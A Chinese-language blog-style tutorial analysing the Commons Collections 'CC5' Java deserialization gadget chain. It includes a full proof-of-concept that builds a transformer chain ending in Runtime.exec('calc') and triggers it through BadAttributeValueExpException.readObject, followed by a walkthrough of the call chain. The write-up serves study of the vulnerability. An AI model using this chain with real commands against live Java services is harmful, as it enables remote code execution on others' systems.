前言
在CC5链中ysoserial
给出的提示是需要JDK1.8并且SecurityManager
需要是关闭的。
关于SecurityManager的介绍可以看下面的文章:
https://www.cnblogs.com/wly1-6/p/10291202.html
POC分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package cc5;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap;
public class CC5 { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap);
try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5")); outputStream.writeObject(poc); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
|
前面和cc1链是差不多的,主要看后半段:
1 2 3 4 5
| TiedMapEntry tiedmap = new TiedMapEntry(map,123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap);
|
上面代码中首先是实例化了一个TiedMapEntry
对象,先来看下TiedMapEntry
这个类
该类的构造方法需要2个参数,在poc中我们传入了一个LazyMap
实例化对象和一个Object对象,接着继续往下看,可以发现两个方法,分别是getKey()
和getValue()
,其中getValue()
方法会去调用构造方法赋值的map类的get()
方法,那么如果我们把LazyMap
对象赋值给map
,然后调用get()
方法的话,就可以完成cc1链中的LazyMap
调用链了
我们继续往下看,找下哪个地方会调用到getValue()
方法,这里发现有多处会调用到getValue()
方法,重点看toString()
方法
根据前面poc中下面这部分,这里先new了一个BadAttributeValueExpException
的对象,然后通过反射将val
的值设置为TiedMapEntry
实例化对象。
1 2 3 4
| BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap);
|
后面的poc就是将poc对象进行反序列化,那么,我们直接看下BadAttributeValueExpException
这个类的代码,它在反序列化的时候做了什么。
反序列化时会调用BadAttributeValueExpException#readObject()
方法,可以看到会调用get()
方法将val的值赋值给valObj
,而val的值就是前面通过反射赋值的TiedMapEntry
实例化对象,在下面又会调用valObj.toString()
方法,接着触发getValue()方法
后续就是cc1链的调用过程了。
调用链
1 2 3 4 5 6 7
| BadAttributeValueExpException.readObject->TiedMapEntry.toString ->LazyMap.get->ChainedTransformer.transform ->ConstantTransformer.transform->InvokerTransformer.transform ->Method.invoke->Class.getMethod ->InvokerTransformer.transform->Method.invoke ->Runtime.getRuntime-> InvokerTransformer.transform ->Method.invoke->Runtime.exec
|
参考
https://www.cnblogs.com/nice0e3/p/13890340.html
https://blog.csdn.net/hongduilanjun/article/details/123491483